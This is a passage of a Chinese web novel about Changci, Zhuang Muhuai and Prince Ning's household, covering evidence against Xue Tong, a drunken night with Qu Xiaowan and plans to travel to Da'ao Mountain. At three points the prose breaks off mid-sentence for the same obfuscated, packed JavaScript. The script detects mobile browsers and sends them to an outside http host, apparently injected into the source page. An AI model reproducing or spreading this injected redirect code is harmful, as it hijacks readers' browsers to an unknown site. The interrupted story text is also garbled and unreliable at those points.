“那是你不知道,这世上有些人,你跟他讲道理没用,用张行简那一套教化更是没用,因为不是所有人都是如张行简一般的善类,知行礼法,心存善念,也不是所有人在做错事之后都懂得回头是岸,你打他没用,求他更没用。” “那既然他们死活都不肯听话,不如全部杀喽,毕竟死人才最听话。” 老槐树的叶子飘落池中,惊动几只游鱼四散开来。 庄慕怀怔了怔,神色复杂道:“你以前……到底经历过什么?” 长辞身子往后一仰,“干嘛一副我受过虐待的表情?” 庄慕怀也想不通自己瞎替这个人担心什么,随即神情恢复如常,低声笑了笑,“不管你经历过什么,杀人的确不好,我就不太喜欢杀人。” “你?”明明就看着杀心很重好不好……之前在江宁追了她八条街,为的就是取她小命。 庄慕怀淡淡开口,腔调里却隐隐有些得意,“比起杀人,我更喜欢让人生不如死。” 真能装!长辞摆摆手,“麻烦,还是杀了比较痛快。” “怎么会?”庄慕怀据理力争,“当然是生不如死更痛快。” “得,我们俩打从一开始就没志同道合过。”长辞将他推到一边,“去去去,别打扰我喂鱼。” 庄慕怀非但不走,反而黏得更近了些,“说起这个,貌似你跟张行简才是真的志不同道不合吧?一个心怀天下,一个为祸天下,我倒是很好奇你们俩是怎么结拜的?” “大概是因为他很像我一个故人?”长辞自己也说不清。 “什么故人?” “已经死了的故人。” “……” 见他脸上表情五颜六色,长辞正要捂着肚子笑,又忽然想起个事来—— 一转话头道:“对了,这些供词还是你留着吧。” 说着从怀里掏出来一沓纸递给庄慕怀,“这些都是薛通签字画押过的罪证,你可收好啦,没准以后能用得上。” 庄慕怀快速扫过里面细数的桩桩件件罪责,越看越心惊,心道岂止是用得上,这东西关键时刻简直能救命! “你从哪里知道的这么多事?” “薛通自己招的啊。”长辞随口道。 其实这里面大部分证据都是她从张行简那里偷来的,不过怕给张行简招惹麻烦,所以庄慕怀问起时就没说实话。 手指有一下没一下地摩挲着纸角卷边的地方,庄慕怀心情有些复杂,这丫头平日里鬼精,如此重要的东西,怎么就能轻而易举地给了他? 难道是真把自己当盟友,所以才选择信任他? “这东西……”庄慕怀清了清嗓子,“你自己拿着不是更好吗?人是你杀的,貌似对你更有用吧?没准被官府抓了还能争取个宽大处理。” “我又用不着。” 她要这个干什么,等那个什么范阳节度使知晓此事,再大张旗鼓地找来,她早不知道回钟离国多久了,到时候那群人就是把整个大宋国土掘地三尺,也甭想找到她一根汗毛。 “哎呀。”长辞发出一声喟叹,在异世杀人就是爽啊。 想罢又对着庄慕怀道:“这件事说到底是我连累了你,算我欠你个人情。呶,这供词给你,就算是还清了啊。” 庄慕怀自然不知她已经给自己留足了后路,只觉得这人似乎爱憎分明得有些过了头。 别人但凡招惹了她,她就一定要喊打喊杀把气全撒出来,同样,她要是欠了别人什么,亦是一丝一毫都要还回来。原本这人与人之间有些事是理不清楚的,可她硬是要拿来过了称,你一分,我一分,算得清清楚楚。 她从不欠别人,别人也休想欠她。这样的人看似潇洒,其实有时候也会很累吧。 “干嘛这么看我?” 长辞不在意地笑了声,“你也用不着这么感恩戴德,这些罪证牵一发而动全身,许多都涉及到朝堂党争,拿在手里是个把柄,也是个烫手山芋,福祸相依,你自己掂量吧。” 庄慕怀从那沓纸上移出视线,意外地看了长辞一眼,心说这丫头够机灵的。 这份供词悉数列出薛通贩私盐,倒卖官位,贪河工款赈灾款等数十罪证,其中牵扯人数之多,令人咂舌。 可她是怎么一眼就看出这里头涉及党争的? 更重要的一点是——能得到这些东西的,绝非市井小民。 “长辞。”庄慕怀眼里不自觉闪过一丝警惕,语气略带怀疑,“你究竟是谁?” 难道是太后的人? 不可能。这份证供明显对太后一党不利,她总不至于蠢到玩火自焚,再说若真是太后的人,又怎么可能会去杀薛通? 这么说来,她亦是陛下的耳目?可为何自己私下命人查了好久都没查到她的来头? 长辞挠挠鬓角,在心里诽谤道,你不该问我是谁,你应该去问张行简究竟是谁,我哪儿知道这些玩意他是从哪里搜罗出来的?! 嘴上却答:“你还记得江入年说的那个天女吗?实不相瞒,这些证据正是那位惩恶扬善的天女交给我的。” “……”庄慕怀本也没指望她狗嘴里能吐出什么象牙,顿了顿,又猜测道:“这事儿是不是跟张行简有关?” 凭他直觉,张行简此人也绝不简单。 长辞有些心虚,急忙打岔,“对了!我昨晚让你拿给宁王的那份供词,他是怎么说的啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091514|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她给庄慕怀的证供里,单独有一份是柳庭月伙同薛通蓄意谋杀长辞的罪证。长辞让庄慕怀将其拿给宁王看一眼,想探探他的口风,看他是要严惩不贷,还是打算睁一只眼闭一只眼保下柳庭月。 若他敢保柳庭月,那就休怪自己不客气了! 庄慕怀岂能不知她的用意,今日一早就呈给宁王过目,不过结果……估计这丫头听了又要生事。 “说话呀。”长辞戳戳坐在身旁的人。 庄慕怀一摊手,“……宁王说此事他定会查个水落石出,还你一个公道。” 已是白纸黑字证据确凿,还要怎么查?!长辞翻了个白眼,“得,明白了,这就是要保柳庭月的意思。” 庄慕怀眼皮一跳,生怕她一个不高兴又把柳庭月给杀了,好心提醒她,“你可别胡来。” “我没有啊。”一双杏仁眼天真无辜地眨巴了两下,眨得庄慕怀更忧心了,总觉得这眼神分明就是要胡来的意思。 庄慕怀敛了敛神色,还是决定将宁王托自己带的话一字不落地给她带到。 “其实此事宁王也着实为难,他若是真大张旗鼓处置了柳妃,此事传言出去,损的可不只是柳妃的面子,更是宁王府的脸面,更不要说还有户部柳大人的颜面,三方一损俱损。其二,柳妃经管宁王府已有数年,没有功劳也有苦劳,此时若处置了她,叫底下的人看了到底是有些寒心。再说没了柳妃,王府的管家权一时也不知交于谁手合适,总不能交给两耳不闻窗外事的姜妃接管吧。” “说白了不还是自己的利益嘛!”还什么着实为难……虚伪! 长辞都没拿正眼瞧庄慕怀,嗤了一声,“你们男人都是一样的货色,薄情寡义!” “……”庄慕怀有苦难言,心道我只是个传话的,我招谁惹谁了? 长辞其实也没想真把柳庭月怎么样,就她这点子能耐,要放在钟离国长辞都懒得搭理她。主要是这把阴局还牵扯到了姜姐姐,那长辞就很难咽下这口气了。 姜姐姐向来不争不抢,一没招她二没惹她,这个恶毒的女人何以出此歹计要害她,一次不成,以后会不会还有第二次? 长辞自己倒是还好,过几日离开昇州,出了这个大门便再也不会踏进来,可姜姐姐怎么办?她可是要在这宅子里蹉跎一生的,难不成还要被这坏女人欺负一辈子啊! 庄慕怀看她气鼓鼓的,脸上的颜色变了又变,伸手在她脑门一拍,笑道: “做人嘛,没必要这么一根筋,你既已知宁王内心所想,若强行令他惩处柳妃反倒会事与愿违,倒不如顺流而下,让宁王欠你个大大的人情。” “合着宁王是来让你当说客的。”长辞白他一眼。 庄慕怀夹在中间确实难受,无奈笑笑,“给个面子?” “行啊。”长辞眨眨眼,心道毕竟是人家王府家事,她也不好插手,倒不如趁此机会给自己谋谋利益。 她一张嘴庄慕怀就知道她要说什么,于是在长辞开口前便道,“想让我去给你要两张归云阁的宴贴是吧?” “庄公子真是善解人意。”长辞冲他莞尔一笑,捧着脸道:“不过还有件事需要您去帮忙说呢。” 庄慕怀直觉不是什么好事。 24. 第 24 章 “你告诉宁王,皆因柳庭月一事我被吓得心神不宁、茶饭不思魂不守舍,瞧着人是不大行了,原本该好好将歇上一段时日,可当下又要急着去大敖山,路途遥远,只怕是会颠簸出个什么病来,所以——” 庄慕怀盯着她上扬的唇角,听她道:“所以想借宁王府姜妃一用,姜妃医术精明,若能陪同我们一起行至归云阁,途中对我细心照料,你也好放心些。” 既然宁王不会把柳庭月怎么样,那姜姐姐留在这里不过是徒增烦恼,还不如出去走走顺带散散心。 若是此行能遇到个可心的男子,能跟宁王和离当然最好了!若是不能,那也算是替他宁王跑了一趟差,谅他也得记着这份恩情。 两全其美。 长辞这么想,可庄慕怀却不这么想。 庄慕怀鲜少有目瞪口呆的时候,自打遇见长辞后,这也不知道是第几次脸上露出难以置信的神情了。 他扶了扶鬓角缓缓开口,“你的意思是,让我一个大男人去求另一个男人,求他同意把自己的女人借给我,让她跟我走?” “……”不是,他怎么会这么理解? 长辞连忙纠正,“不是跟你,是跟我!” “等等!”庄慕怀倏地反应过来,“什么叫我担心你的病情,如果姜妃跟着,我会放心些?” 他刻意咬重“我”这个字音。 长辞往后退了一步,眼神乱瞟,“那什么,我之前在宁王府大肆宣扬过我们俩的关系,宁王大概以为……” “以为什么?” 长辞哼哼唧唧,声音小得跟蚊子似的,“以为我是你未过门的妻子。” 说完看庄慕怀没什么反应,又理直气壮起来,“不然你以为宁王为何能三番五次地容忍我对他有大不敬之过。” 这可都是借您的脸面。 “你还知道你大不敬?”庄慕怀气笑了,上手揪住她白嫩的脸蛋,“那你知不知道上一个敢跟我攀关系的女人是什么下场?” “唔,唔。”扯得长辞吱哇乱叫:“快凶开,装唔怀,你喜定惹!” 庄慕怀一瞧这扑棱扑楞的劲儿“噗嗤”一声乐了,气一下子就消了,松开她问,“说什么呢?” “老子说,你死定了!”长辞一拍栏杆,张口就往他肩膀上咬。庄慕怀往旁边一闪,“属狗啊你!” 话音未落,只见长辞又生生扑了上来。庄慕怀起身一跃,跳到湖中的游船上借力上了对岸,长辞紧跟在后面追,奈何人家对宁王府比她熟,没一会儿的功夫就不见了踪影。 长辞气得咬牙切齿,一边揉着红得发烫的半张脸,一边站在墙头四处张望。 “喂,你这个小贱人,我没去找你就算了,你还敢来找我!” 嗯?是谁在说话?! “死丫头,我在这儿!” 此院堆金砌玉,长辞顺着树影的缝隙看过去,一眼便瞧见有人正站在雕花的小轩窗里面颐指气使地瞪着她。 睁大眼睛仔细一看,呦,这不是瞿小宛么! 此时院门大开着。 长辞飞下墙头,自来熟地进了屋子,坐下来给自己斟了杯茶,“刚好口渴了,谢啦。” “你!”瞿小宛指着她的鼻子气道:“你这个小……” 长辞翘着一条腿打断她,“再敢说‘贱人’两个字,我就把你的舌头拔下来。” 瞿小宛原本打扮得花枝招展的,是要去书房给宁王侍候笔墨,顺便看能不能留宿在王爷那儿,谁知道还没出门就碰上这死丫头,真是倒霉透了! 一看见她这张脸,瞿小宛就想起了自己那日所受的羞辱,顿时气得牙痒痒。 “别以为我拿你没办法你,我这就告诉王爷,你伙同姜云那贱……那女人一起害我性命!” “那感情好,我们俩一起去,我正好也要告诉王爷你偷汉子的事。” “你、你胡说!”瞿小宛脸“唰”一下就白了,手忙脚乱地关了门窗,“这是污蔑!是造谣!” 长辞挖挖耳朵,优哉游哉地开口,“是不是污蔑你自己心里清楚,反正知晓此事的也不止你我二人,我也不怕你抵赖。” “你少诈我,昇州城里根本就没人知道此事!” 瞿小宛说完才后知后觉自己说错了话,惊得她赶紧捂上嘴巴,往后退了一步,还没想好怎么把话圆回来,就听一旁那死丫头漫不经心道: “哦,那我改明儿就出去给你宣传宣传。” “你敢!”瞿小宛面色骤变。 “你看我敢不敢喽。” “来人!”瞿小宛对着外面拍了拍掌,转而恶狠狠地对着长辞,“你以为你今天还出得了这间屋子吗?!” “怎么?你这是打算杀我灭口?”长辞扔下手中剥好的橘子,一脸的兴奋。 “杀”字一出,可吓了瞿小宛好大一跳,她这辈子还没杀过人呢,“我、我、我杀你干什么!我是要将你关在柴房,饿上三天三夜,看你还敢不敢满口胡言!” 正说着,几个力壮如牛的侍卫随即推门而入,将长辞团团包围了起来。 瞿小宛冷哼一声,“你要是怕了还来得及,只要跪地磕三个响头,本夫人自会大发慈悲地放了你。” 话音甫落,只听“轰”一声,长辞起身一掌便拍飞屋顶的瓦片,居高临下地看着瞿小宛,“不是说我出不了这间屋子吗?咦,我怎么出来了?” 说着又从上面轻巧地跳了下来,“咦,我怎么又进来了?” “我出来啦!我又进来啦!” 如此往复了三四次,才终于消停地坐了下来。众侍卫你看看我,我看看你,咽了口唾沫边往出退边道:“瞿夫人,我们、我们这就去禀报王爷。” 说罢一溜烟全都跑了。 长辞勾勾手指,一脸八卦地凑在瞿小宛耳边,学着她方才的样子,“你要是怕了还来得及,只要跟我讲讲你和屠夫张的事,本姑娘自会大发慈悲地放了你。” “……” 瞿小宛两眼一翻,被气得晕厥了过去。 与此同时,宁王府主院的书房外。 “你方才听到什么声响了吗?”宁王往西边的方向看了一眼,转头问一旁的庄慕怀。 庄慕怀眼皮一跳,总觉得此事与长辞有关。 天将擦黑。就在这时,外面突然火急火燎地跑进来个侍卫,似乎有事要禀,但碍于庄慕怀在场又憋了回去,杵在原地不知该如何是好。 “有事便说。”宁王皱眉。 那侍卫忙小跑到跟前,先是偷偷看了一眼庄慕怀,这才道:“禀王爷,长辞姑娘她、她将瞿夫人的房顶戳了个大洞……” “??”宁王愣住,一时间不知该作何反应。 倒是一旁的庄慕怀还算淡定,“是不是有什么误会?那丫头脾气不大好,力气也有些大,做事比较冲动……” 宁王欲言又止地看向自己多年好友,心道脾气不好,力气还大,脑子又有毛病,你到底是看上她什么了啊?! 想罢叹了口气,痛心疾首地拍拍庄慕怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097394|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀,“你要真非她不可,我这儿倒有几个医术高超的名医,待忙完这阵子你带长辞姑娘去看看?” 庄慕怀:“?” “总之千万不能放弃治疗。” “?” “这件事可是直接关系到你后半生的幸福。” “?” …… 月光如水,倾洒在屋顶的瓦砾上,涟漪般微微波动。 长辞和瞿小宛分坐在桌案的两侧,相安无事地靠在椅背上抬头望天。从屋顶破着的大洞看出去,此时刚好能看到一轮明月高悬于空,柔和而静谧。 瞿小宛昏厥片刻再清醒过来之后,就被治得服服帖帖的,不再“小贱人小贱人”地瞎叫嚷了。她这一消停下来,身上竟难能可贵地涌现出几分娴静的气质。 俩人一人抱一个酒坛子,就这么静静坐着赏月,看一眼月亮喝一口酒,场面竟诡异地有几分和谐…… 半坛酒下肚,瞿小宛也不知是有感而发还是打发时间闲聊,自顾自提起了她与宁王的初见。 “那是一年前,扬州三月天,王爷当日一身黑衣纵马飒踏而过,我站在桥上只远远看过一眼,便再也忘却不了那道孔武有力的身影。” 忆起往事,她眼中带光,似乎陷入了一段美好的幻境中,“我幻想嫁给他,幻想他能宠我敬我,与我如胶似漆,缠绵悱恻。” “贪享红帐之欢,日日行那风月之事……” 嗯?!怎么听着不大对劲儿…… 长辞瞬间坐直了身子,竖起耳朵听她幽怨道:“谁料王爷他、他……” “他怎么了?”难道是不行?! “他素来爱音律不爱美人,整日流连于山水之间,对府上诸事一概不管,我一个如花似玉的姑娘家,却要在这偌大的王府后院里蹉跎时光。俗话说得好,食色性也,长辞姑娘你说说,这谁还能没个世俗杂念男女欲望了是不是?” 说到动情处,瞿小宛打了个酒嗝,一把抓住长辞的手,“何况我还是那种特别有欲望的,我孤独寂寞的时候,就特别希望能有个人来陪我,纾解我的苦楚……我这么说你能理解的吧。” “……我不理解。”半坛酒而已,怎么就能醉成这个样子? “后来、后来有一次张大哥往府里送猪肉,他身材魁梧,我一见着他,就、就……”瞿小宛双颊红的像火烧云,闷头又喝了一口酒。 “?!”长辞难以启齿,“然后你们就……” 瞿小宛重重点头,“嗯!” 这话实在太露骨了,惊得长辞差点从凳子上掉了下来。“你竟然因为宁王那什么不能……满足你,就跑去找了屠夫张?!” “对啊。”瞿小宛毫不避讳地点点头,“想我出身也算得上是顶好了,自小喜欢什么没有,凭什么要在这深宅大院里过清心寡欲的日子,别说是什么王爷,就是这世间最勇猛的儿郎!嗝,我也配得上!” 明白了。“原来你喜欢宁王,只是因为他孔武有力的身躯啊?” “不然呢?”瞿小宛醉得晕晕乎乎,脸上却是一副理所当然。 口齿倒还挺清晰,“论权力,他只是个闲散王爷,论财力,王府又没我家有钱。我看上他,可不就是单单看上他这么个人么?可王爷既然给不了我想要的,那就休要怪我自己找乐子了!” 长辞尴尬一笑,“……你倒是想得挺开。” “想不开有什么办法,人还不是得自己活出来。”瞿小宛起身剪了剪灯芯,“不然就得生生怨死在这院子里头。” 25. 第 25 章 “不对啊,外面不是传你甚得宁王宠爱吗?” “外面那些人知道什么,还不是因为……”瞿小宛打了个酒嗝,止声往屋外看了一眼,这才低语道:“还不是因为我有床笫绝技,这才能收拢住王爷多在我房里待上两日。” “柳妃管家事忙,姜妃四处行医,跟王爷半个月也见不上一回,剩下那几个妾室又都不成气候,外面这才说我尽得专宠,可只我自己知道这里面有多少心酸。” 长辞咽了咽口水,“我们俩又不熟,你突然跟我说这么私密的事,就不怕……” “怕什么?”瞿小宛起身,摇摇晃晃走到一扇多宝格前停下,边上下翻找边道:“反正我也打算跟王爷和离了。” “和离?!”长辞一下子跳了起来,“你不会要去给屠夫张做妾吧?” 瞿小宛手上动作一停,“干嘛给他做妾?我与他不过是露水情缘。实话告诉你,我是打算去寻找真正的欢愉了。” 长辞虚虚靠在山水屏风上问她,“什么是真正的欢愉?” “一个真正孔武有力的男人,可以单手抱我上马背,在广袤无垠的大草原上尽情做……” “别说了!”长辞直觉她是要说些官方禁止的话,连忙去捂她的嘴巴。 好彪悍的女人!长辞第一次感到自愧不如。 “哎,找到了!”瞿小宛从夹缝里拿出一本书,抖了抖上面的灰尘,被呛得直咳嗽,“咳咳,就是这本书。” “什么东西?” “床笫绝技。” “……” 瞿小宛一脸惺惺相惜地看着长辞,“你刚刚问我为什么会把心里话都讲给你,那我告诉你,因为——我们都是一样的女人!” “……不不不。”我可一点都不想去大草原。 “我们都是风一样的女子,无畏这世间的风言风语,拿着,这书我送给你了!希望你也能借此享受到人生的欢愉。” “不了吧。”长辞一脸恐惧地把书给推了回去,“说实话我还挺畏惧风言风语的,你还是自己留着好了。” “长辞姑娘!”瞿小宛叫住她,站都站不稳妥还要拍着胸脯,“都是江湖儿女,你就别跟我客气了!” 说着随意翻开其中一页,指着上面的图画道:“你学着点,这将来都能用得上……就比如说这一页,这是保管能生儿子的!” “我并不需要……”长辞打了个冷颤。 “这页是说在一年中日头最盛的那天亭午行那房中之事……嗝、就能……”瞿小宛急的快把书按到长辞脸上了,“你快看呀,这是真的。上面都写了——日永星火,以正仲夏,说的就是这一日。” 等等!一个模糊的记忆倏地从长辞脑海中闪过—— “日永星火,以正仲夏。” 想起来了。这八个字正是她当初被追杀逃到大敖山时,在偏殿看到的日晷上所刻的文字……原来“日永星火”是指一年中日头最盛的日子吗?如此说来,那当初她在日晷上看到的这些文字,也就极有可能不是随意刻之,而是为了暗示后人日晷的使用时间? 长辞突然想起在福来居时那个刀疤汉所说的话。 ……这其二啊,是一个用上古时期神石打造而成的日晷。据说每年日头最盛的那一天亭午,将染满鲜血的玉璧置于晷针顶端整整一个时辰,之后再将其贴身佩戴,便可叫死者生而生者永生,若遇机缘巧合,还极有可能拥有穿梭时空之力…… 不会真叫他歪打正着给说对了吧? 长辞晃了晃脑袋叹息,都怪自己当时身负重伤意识模糊,这才想不起来当初到底是如何来的,现在自然也就不知道该如何回去……不过值得庆幸的是,随着他们越来越靠近大敖山,她的记忆好像也随之变得清晰,就像刚刚,脑海中忽然就能显现出日晷上的文字。 正想得出神,突然!眼前冒出了一副露骨的春宫图。 长辞身子一抖,听瞿小宛醉醺醺道:“怎么样,很好看吧?” 大姐,你是不是脑子有病!我看这驭夫之术能干什么……长辞二十年来难得被人给生生逼得憋红了脸,连耳根子都烧呼呼的。 “你拿着!” “我不要。” “你拿着!” “我不要。” 两人正推推搡搡,屋门突然从外面“吱嘎”一声被人打开—— 瞿小宛手一松,那本泛黄的书“吧唧”一下掉在了地上。紧接着门口两道视线齐刷刷落在了那本书的封皮上。 “你竟然……看这种书?”庄慕怀欲言又止,神色复杂地看着长辞,“我没想到你是这样的人……” 真是邪了门了,怎么感觉她浑身是嘴都说不清了! 比起庄慕怀,宁王显然更是难以置信,忍了半晌,终于还是没能忍住,“长辞姑娘一介女流,何以得来这种禁书?还敢拿给本王的妾室看,实在不该!” 他原本是该动怒的,可一想到这女人脑子有毛病,又看在慕怀的面子上,还是算了吧。 “不是?!”凭什么就没一个人怀疑瞿小宛啊! “这书不是我的,明明是你的瞿夫人硬要塞给我。”长辞一把抓过来尚未清醒的瞿小宛,拍拍她脸蛋,试图将她拍醒。 “快点告诉他们,这玩意儿是你的!” 瞿小宛摇摇晃晃的才不管长辞在说什么,一看见宁王,就仿若飞蛾看见了烈火一般,直戳戳扑了过去,“王爷,王爷你来啦!” 说着就要上手扒他衣裳。 别说,喝醉了酒的瞿小宛劲儿还挺大,硬是压得宁王动弹不得。 “……” 庄慕怀和长辞对视一眼,接着十分默契地同时开口,“告辞!再会!” 话音未落便飞一般地逃出小院,甚至连轻功都用上了。夜色清明,独留娇人旖旎的喘气声引人遐想…… …… 回小院的路上,长辞手脚并用地解释了一路,奈何庄慕怀就是不信。罢了,爱信不信,长辞这人心大,今日愁闷今日毕,睡了一觉隔日就把这种芝麻小事给忘了,遂也就没去问瞿小宛后来有没有跟宁王解释这件事。 第二日快晌午的时候,张行简一脸喜色从外面回来,告诉长辞之前下雨坍塌的官道提前竣工了,明日一过方可通行。 长辞自然高兴得不得了,搓搓手道:“你怎么知道?” “听福来居的伙计说的。” “不是吧,你平日里明明抠得要死,今日怎么还舍得去福来居消遣了?” “不是消遣,是赚钱。”张行简从怀里摸出来一两银子,“福来居果真财大气粗,看我字写的还算不错,便请我去写点菜牌和匾额,你猜猜一天给多少?” 结果又不等人家开口,他自己就急不可耐道:“三钱!整整三钱银子,多少人月例都没有这个数,而我只干了三日有余,掌柜的就给了我整整一两!” 他将银子在手里掂了掂,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102537|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧这,沉甸甸的。” “……”没出息。 长辞托着下巴打量他,“我着实是好奇,你家到底是什么来路?说是市井小户吧,好像以你的才学又不大像……”光是那些成山的典籍孤本,都够买半个城池了。 “可若说是什么达官显贵吧,又觉得与你独特的市井气质极为不符……所以你家里到底是做什么的啊?” “没什么的,一群武夫罢了。”张行简挠挠头,显然不太愿意提及,正要找个话题搪塞过去,凑巧此时庄慕怀与江入年从院外走了过来,张行简急忙朝他们招手。 “听说城外的官道通了,我们准备明日就启程离开昇州,两位呢,要一道走吗?” “走啊!”江入年一个跨步蹦上台阶,搂过张行简肩膀神神秘秘的,“你别忘了,那个事还没办完呢。” 张行简点头,“自然记得。” “什么事啊?”长辞揣着手凑在他俩中间,一脸好奇,“给我说说呗,听过拉倒,绝不外传。” 江入年警惕,“不准打听,这是秘密!” 秘密? “那我可就更得打听了。”怪爱听人秘密的长辞丝毫不长记性,早把瞿小宛那事给抛之脑后了,眯着眼道: “说起来,上次从城外回来就觉得你们俩不对劲,眉来眼去的……” “喂喂喂,你可别胡说。”江入年想回长辞几句,可又不大敢惹她,于是只能小小的不满了一下,“我跟简哥可都是真真的大好男儿,不是你想的那种龙阳之癖。” 再看张行简,他向来都是好脾气,被误会了也不急,只笑着解释,“也没什么事情,就是我在帮入年写一些东西。” “哦。”代笔啊,她当是什么事呢! 人就是这样奇怪,遮遮掩掩的总会勾起人打探的欲望,一旦摊开来反倒没了意思,长辞讨了个没趣,走到庄慕怀面前戳戳他。 “你呢?结伴走还是分开走然后到归云阁汇合?” 庄慕怀正在想事情想得入神,冷不丁被人一戳,愣了会儿神才道:“自然是要一起走了,你这么滑头,到时候跑不见人影了怎么办?我上哪儿找你去?” 长辞撇撇嘴,心说真是个小心眼。 “哎对了。”长辞蹲在院里的矮几跟前,往嘴里塞了口点心,“我还没问你,你是看中了大敖山王陵的哪一宝?” 可别到时候两人要的是一个东西,回头内讧了再打起来! “你呢?你想要什么?”庄慕怀不答反问。 “钱呀。”长辞眼珠一转,“我自然是要古董和珠宝了。” “好巧,我也是。” 两人对视一眼,都知道对方没说实话,可也都默契地没有互相戳穿。 用过午膳,长辞等人开始收拾行囊,准备明日一早就出发前往芦陵。院子里鸡飞狗跳,江入年正指挥着下人拆茶托,一旁庄慕怀不知道说了什么又惹着长辞,那丫头正拿着他刚收拾好的包袱,撵在后面要往他身上砸。 突然“砰”地一声,长辞跟刚进了小院的姜云撞了个正着。 长辞以为她是来给自己送行的,揉揉被撞的肩膀道:“姜姐姐你没事吧?你先等等,待我收拾好了马上就去找你道别。” 却没想到姜云开口就说,“阿辞,我可以和你们一起去大敖山吗?” “啊?!”几个人异口同声,皆是一脸不可思议。 说着都放下手里的事走了过来。 26. 第 26 章 众目注视之下,姜云反倒有些不好意思了,“听闻大敖山南麓有一种极其珍贵的药材,名曰高山重楼,既可解虫蛇之毒,又能抑制瘟疫之症,此次若真能进山寻得这种药材,将其引入大宋境内,那日后定能解救不少百姓性命。” 原来如此。 “你跟宁王说过了吗?”长辞问道。 昨日她有心想帮姜姐姐离开这个是非之地,可庄慕怀却说各人有各命,没准她以为的出路,对别人来说并不见得是件好事,此事不可擅自做主,最好问过姜妃再做决定。 长辞一想还真是,毕竟庄慕怀说过姜姐姐嫁给宁王是她主动求取的,也许她对宁王还有情意在,并不想离开他,所以也就没急着找宁王去说。 谁知道上苍竟然这么有好生之德,蒋姐姐竟然自己想通了要离开,长辞真是想不高兴都难! 庄慕怀看出她嘴角翘得老高,恨不得明日就敲锣打鼓地帮姜妃找新男人,提醒道:“姜妃只是出一趟远门,又不是不回来了,你在这儿瞎高兴什么?” 长辞回他,“关你屁事!” “……” 姜云生怕几人觉得她是累赘,耽误了去大敖山的行程,顿了顿才说:“我还没告知王爷,想着先来问过你们的意见。” 长辞跟江入年小狗似的围着姜云,一个劲儿地点头,“同意同意,我们自然是同意啊!” 再一看张行简,他这性子更是不会说什么,只淡淡点了点头。 至于庄慕怀么,他只关心长辞能不能信守诺言跟他联手拿到宝物,其余的一概不管。尤其这事儿他也不好发表意见,一头是宁王,一头是长辞那疯丫头,他向着哪头都讨不着好,还不如静观其变。 长辞将江入年扯到一旁,警惕道:“你跟姜姐姐又不熟,这事跟你有什么关系?净瞎起哄。” “谁说跟我没关系了!姜妃她懂医术,万一我们在路上遇见什么豺狼虎豹大恶之人,被抓了或是被砍了,一朝危在旦夕,要是姜妃在场的话,不就能令我们起死回生了嘛!”嘿嘿,多一个人多一份保障。 “小小年纪倒挺惜命。”长辞拍他后脑勺,心说不是有什么企图就好。“不过姜姐姐懂的是医术,又不是仙术,并不能令你起死回生,你还是自求多福吧。” “那我也盼着她跟我们一道!起码姜妃看着温善,不像你……” “我怎么?”长辞抬起手掌,作势要劈他。 “你你你……你别乱来啊。” 正说着,姜云的婢女阿朱匆匆忙忙从隔壁院跑了过来,“姜妃娘娘,王爷来了,正在院里等您呢。” 这么快就来了?明明她约的是晚膳时分。 “请王爷稍待,我这就回去。”姜云显得略微有些紧张,抿了抿嘴朝长辞道:“阿辞,我得先回去了,晚点我再过来,余下的事稍后再议。” 长辞点头如捣蒜,“别担心,宁王一定会让你去的。要是他敢不让你去,那我就提着刀去找他商议!” 姜云没注意长辞嘀咕什么,心不在焉地出了院门。 她还没想好怎么跟宁王开这个口,毕竟如今已嫁作人妇,确实不好整日抛头露面……可早在半年前从吴越国回程途径大敖山时,她就有心上山去寻高山重楼。可惜的是,当时毕竟是在他国领土,姜云怕给宁王招来什么麻烦,遂打消了这个念头。 如今大好的机会又摆在眼前,她是真的不想再错过了。 藤蔓爬满了整面院墙,错综繁杂,一如她繁杂的心绪,姜云也不知道自己这么做究竟对不对,双亲生前都一再教导自己,女子应端庄持重,以夫为纲,做事滴水不漏,让人拿不出半处错来,如此才是贤妻典范。 她自是不愿违背双亲的教诲,可她更不愿一生都被困在这几尺天地间,同旁的女子在后院争风吃醋地过日子。 此次归云阁给宁王府下了宴贴,依王爷的性子定然不会去,若是她能借着代王爷出席的名义前去赴宴,倒也还算合乎情理,不至于落人口舌。 院子里的花开了又落,覆在地上细细一层,像是有意铺上的花毯。姜云推开院门,缓缓施了个礼看向眼前之人,心中不觉有些恍惚。 他还是一如初时清冷矜贵,风度翩翩。姜云想起那年春时父亲带她上京入宫,她第一次见到宁王的场景,一园红艳醉坡陀,自地连梢簇倩罗。 三年弹指一挥间,这一幕好似就发生在昨日一般。 只是如今……花色不再,人亦杳然。 